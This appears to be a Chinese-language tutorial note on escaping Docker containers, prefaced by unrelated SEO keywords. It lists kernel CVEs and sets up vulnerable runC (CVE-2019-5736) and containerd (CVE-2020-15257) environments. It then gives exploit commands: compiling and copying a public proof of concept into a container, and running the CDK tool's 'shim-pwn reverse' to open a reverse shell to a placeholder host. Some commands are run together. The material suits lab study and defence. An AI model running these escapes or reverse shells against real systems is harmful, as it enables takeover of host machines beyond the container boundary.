站长之家字体,交互设计专业,深圳装修招标信息网,免费金融发布网站模板文章目录 云原生-Docker安全-容器逃逸内核漏洞云原生-Docker安全-容器逃逸版本漏洞-CVE-2019-5736 runC容器逃逸-CVE-2020-15257 containerd逃逸 云原生-Docker安全-容器逃逸CDK自动化 云原生-Docker安全-容器逃逸内核漏洞
细节部分在权限提升章节会详解内核漏洞云原生-Docker安全-容器逃逸版本漏洞-CVE-2019-5736 runC容器逃逸-CVE-2020-15257 containerd逃逸 云原生-Docker安全-容器逃逸CDK自动化 云原生-Docker安全-容器逃逸内核漏洞
细节部分在权限提升章节会详解常用 CVE-2016-5195 CVE-2019-16884 CVE-2021-3493 CVE-2021-22555 CVE-2022-0492 CVE-2022-0847 CVE-2022-23222
云原生-Docker安全-容器逃逸版本漏洞
-CVE-2019-5736 runC容器逃逸 Docker version 18.09.2 RunC version 1.0-rc6 1、安装docker对应版本
apt-get update
apt-get install -y apt-transport-https ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
add-apt-repository deb [archamd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable
apt-get update
apt-cache madison docker-ce
apt-get install docker-ce18.06.1~ce~3-0~ubuntu2、启动环境测试
docker run -itd --cap-addSYS_ADMIN ubuntu:latest3、编译修改后EXP后等待管理进入执行 https://github.com/Frichetten/CVE-2019-5736-PoC
CGO_ENABLED0 GOOSlinux GOARCHamd64 go build main.godocker cp main 7f4793f3ac0cd13:/
docker exec -it 7f4793f3ac0cd13 /bin/bash还有一个条件就是执行main文件后需要管理员进入该容器进行触发 4、实验获取到docker搭建的Web权限后进行逃逸
docker run -it -p 8888:8080 vulhub/struts2:s2-053-CVE-2020-15257 containerd逃逸 containerd 1.4.3 containerd 1.3.9 1、安装docker对应版本
apt-get update
apt-get install ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add -
add-apt-repository deb [archamd64] https://download.docker.com/linux/ubuntu xenial stable
apt-get update
apt-cache madison docker-ce
apt-get install docker-ce5:19.03.6~3-0~ubuntu-xenial docker-ce-cli5:19.03.6~3-0~ubuntu-xenial containerd.io1.2.4-12、启动环境测试
docker pull ubuntu:18.04
docker run -itd --nethost ubuntu:18.04 /bin/bash
docker exec -it 5be3ed60f152 /bin/bash3、上传CDK自动提权反弹
docker cp cdk_linux_amd64 8e7c27d7b98ca32927:/tmp
chmod 777 cdk_linux_amd64
./cdk_linux_amd64 run shim-pwn reverse xx.xx.xx.xx xxxx4、实验获取到docker搭建的Web权限后进行逃逸
docker run -it -p 8888:8080 vulhub/struts2:s2-053云原生-Docker安全-容器逃逸CDK自动化
检测利用https://github.com/cdk-team/CDK 信息收集-漏洞探测
./cdk_linux_amd64 evaluate指定漏洞逃逸
./cdk_linux_amd64 run shim-pwn reverse xx.xx.xx.xx xxxx常规检测https://github.com/teamssix/container-escape-check 实现信息收集指定逃逸自动逃逸修复功能等